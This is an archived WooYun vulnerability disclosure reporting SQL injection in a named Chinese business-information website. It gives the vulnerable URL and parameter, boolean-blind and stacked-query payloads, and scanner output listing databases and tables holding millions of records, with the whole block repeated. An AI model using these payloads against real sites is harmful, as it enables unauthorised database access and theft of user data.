当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0167888

漏洞标题：中商信息网某出存在注入（三百多万信息泄露）

相关厂商：中商信息网

漏洞作者： 头晕脑壳疼

提交时间：2016-01-07 22:59

修复时间：2016-02-20 15:48

公开时间：2016-02-20 15:48

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-01-07： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-02-20： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

http://www.chinaccm.com/SDHTML/SDICIndex.aspx?IndustryID=1461
---
Parameter: IndustryID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: IndustryID=1461' AND 7545=7545 AND 'zDXk'='zDXk
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: IndustryID=1461';WAITFOR DELAY '0:0:5'--
---
[18:09:55] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[18:09:55] [INFO] fetching database names
[18:09:55] [INFO] fetching number of databases
[18:09:55] [INFO] resumed: 11
[18:09:55] [INFO] resumed: chinaccm
[18:09:55] [INFO] resumed: chinaccmdata
[18:09:55] [INFO] resumed: chinaccminfo
[18:09:55] [INFO] resumed: chinaccmsms
[18:09:55] [INFO] resumed: distribution
[18:09:55] [INFO] resumed: master
[18:09:55] [INFO] resumed: model
[18:09:55] [INFO] resumed: msdb
[18:09:55] [INFO] resumed: ReportServer
[18:09:55] [INFO] resumed: ReportServerTempDB
[18:09:55] [INFO] resumed: tempdb
available databases [11]:
[*] chinaccm
[*] chinaccmdata
[*] chinaccminfo
[*] chinaccmsms
[*] distribution
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb

1.png


+---------------------------------+---------+
| Table | Entries |
+---------------------------------+---------+
| dbo.CMS_INFO | 3056226 |
| dbo.CMS_INFO_COLUMN | 925818 |
| dbo.SDS_INFO_PICTURE | 857909 |
| dbo.SDS_SUPPLY_INFO_DEL | 374276 |
| dbo.SDS_DEMAND_INFO | 320951 |
| dbo.SDS_SUPPLY_INFO | 312298 |
| dbo.SDS_SUPPLY_DEMAND_USER | 81574 |
| dbo.SDS_DEMAND_INFO_DEL | 66647 |
| dbo.SDS_VISITOR_LOGS | 24962 |
| dbo.SDS_INFO_REPORT | 10113 |
| dbo.syncobj_0x3330463641434546 | 10113 |
| dbo.PTS_PAGEDIR | 9537 |
| dbo.CMS_DATASHOWTEMPLATE_ITME | 6206 |
| dbo.CMS_BANKDATA_CUSTOM_ITEM | 5718 |
| dbo.CMS_DELINFO | 3814 |
| dbo.SDS_PRODUCT | 844 |
| dbo.SDS_LEAVEWORD | 811 |
| dbo.CMS_BANKDATA_CUSTOM_BANK | 800 |
| dbo.SDS_EXTEND_ORDERTYPEITEM | 700 |
| dbo.SDS_EXTEND_ORDERITEM | 698 |
| dbo.CMS_BANKDATA_CUSTOM_MAIN | 574 |
| dbo.CMS_DATASHOWTEMPLATE_MAIN | 521 |
| dbo.SDS_EXTENDINFO | 319 |
| dbo.SDS_EXTEND_ORDER | 208 |
| dbo.CMS_SHOWTEMP_BANK_ITEM | 193 |
| dbo.SDS_FAVORITES | 176 |
| dbo.SDS_CUSTOM_INFO | 112 |
| dbo.MSreplication_objects | 60 |
| dbo.PTS_ATTENTIONEDITER | 41 |
| dbo.PTS_HotReadArtical | 20 |
| dbo.SDS_EXTEND_REPORT | 20 |
| dbo.syncobj_0x4337453542393733 | 20 |
| dbo.sysarticlecolumns | 19 |
| dbo.CMS_SHOWTEMP_BANK_MAIN | 15 |
| dbo.SDS_EXTEND_PRICESET | 4 |
| dbo.syssubscriptions | 4 |
| dbo.sysarticles | 2 |
| dbo.sysextendedarticlesview | 2 |
| dbo.MSreplication_subscriptions | 1 |
| dbo.MSsubscription_agents | 1 |
| dbo.SDS_ADMINUSER | 1 |
| dbo.SDS_EXTEND | 1 |
| dbo.syspublications | 1 |
| dbo.sysreplservers | 1 |
+---------------------------------+---------+

漏洞证明：

http://www.chinaccm.com/SDHTML/SDICIndex.aspx?IndustryID=1461
---
Parameter: IndustryID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: IndustryID=1461' AND 7545=7545 AND 'zDXk'='zDXk
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: IndustryID=1461';WAITFOR DELAY '0:0:5'--
---
[18:09:55] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[18:09:55] [INFO] fetching database names
[18:09:55] [INFO] fetching number of databases
[18:09:55] [INFO] resumed: 11
[18:09:55] [INFO] resumed: chinaccm
[18:09:55] [INFO] resumed: chinaccmdata
[18:09:55] [INFO] resumed: chinaccminfo
[18:09:55] [INFO] resumed: chinaccmsms
[18:09:55] [INFO] resumed: distribution
[18:09:55] [INFO] resumed: master
[18:09:55] [INFO] resumed: model
[18:09:55] [INFO] resumed: msdb
[18:09:55] [INFO] resumed: ReportServer
[18:09:55] [INFO] resumed: ReportServerTempDB
[18:09:55] [INFO] resumed: tempdb
available databases [11]:
[*] chinaccm
[*] chinaccmdata
[*] chinaccminfo
[*] chinaccmsms
[*] distribution
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb

1.png


+---------------------------------+---------+
| Table | Entries |
+---------------------------------+---------+
| dbo.CMS_INFO | 3056226 |
| dbo.CMS_INFO_COLUMN | 925818 |
| dbo.SDS_INFO_PICTURE | 857909 |
| dbo.SDS_SUPPLY_INFO_DEL | 374276 |
| dbo.SDS_DEMAND_INFO | 320951 |
| dbo.SDS_SUPPLY_INFO | 312298 |
| dbo.SDS_SUPPLY_DEMAND_USER | 81574 |
| dbo.SDS_DEMAND_INFO_DEL | 66647 |
| dbo.SDS_VISITOR_LOGS | 24962 |
| dbo.SDS_INFO_REPORT | 10113 |
| dbo.syncobj_0x3330463641434546 | 10113 |
| dbo.PTS_PAGEDIR | 9537 |
| dbo.CMS_DATASHOWTEMPLATE_ITME | 6206 |
| dbo.CMS_BANKDATA_CUSTOM_ITEM | 5718 |
| dbo.CMS_DELINFO | 3814 |
| dbo.SDS_PRODUCT | 844 |
| dbo.SDS_LEAVEWORD | 811 |
| dbo.CMS_BANKDATA_CUSTOM_BANK | 800 |
| dbo.SDS_EXTEND_ORDERTYPEITEM | 700 |
| dbo.SDS_EXTEND_ORDERITEM | 698 |
| dbo.CMS_BANKDATA_CUSTOM_MAIN | 574 |
| dbo.CMS_DATASHOWTEMPLATE_MAIN | 521 |
| dbo.SDS_EXTENDINFO | 319 |
| dbo.SDS_EXTEND_ORDER | 208 |
| dbo.CMS_SHOWTEMP_BANK_ITEM | 193 |
| dbo.SDS_FAVORITES | 176 |
| dbo.SDS_CUSTOM_INFO | 112 |
| dbo.MSreplication_objects | 60 |
| dbo.PTS_ATTENTIONEDITER | 41 |
| dbo.PTS_HotReadArtical | 20 |
| dbo.SDS_EXTEND_REPORT | 20 |
| dbo.syncobj_0x4337453542393733 | 20 |
| dbo.sysarticlecolumns | 19 |
| dbo.CMS_SHOWTEMP_BANK_MAIN | 15 |
| dbo.SDS_EXTEND_PRICESET | 4 |
| dbo.syssubscriptions | 4 |
| dbo.sysarticles | 2 |
| dbo.sysextendedarticlesview | 2 |
| dbo.MSreplication_subscriptions | 1 |
| dbo.MSsubscription_agents | 1 |
| dbo.SDS_ADMINUSER | 1 |
| dbo.SDS_EXTEND | 1 |
| dbo.syspublications | 1 |
| dbo.sysreplservers | 1 |
+---------------------------------+---------+

修复方案：

版权声明：转载请注明来源 头晕脑壳疼@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝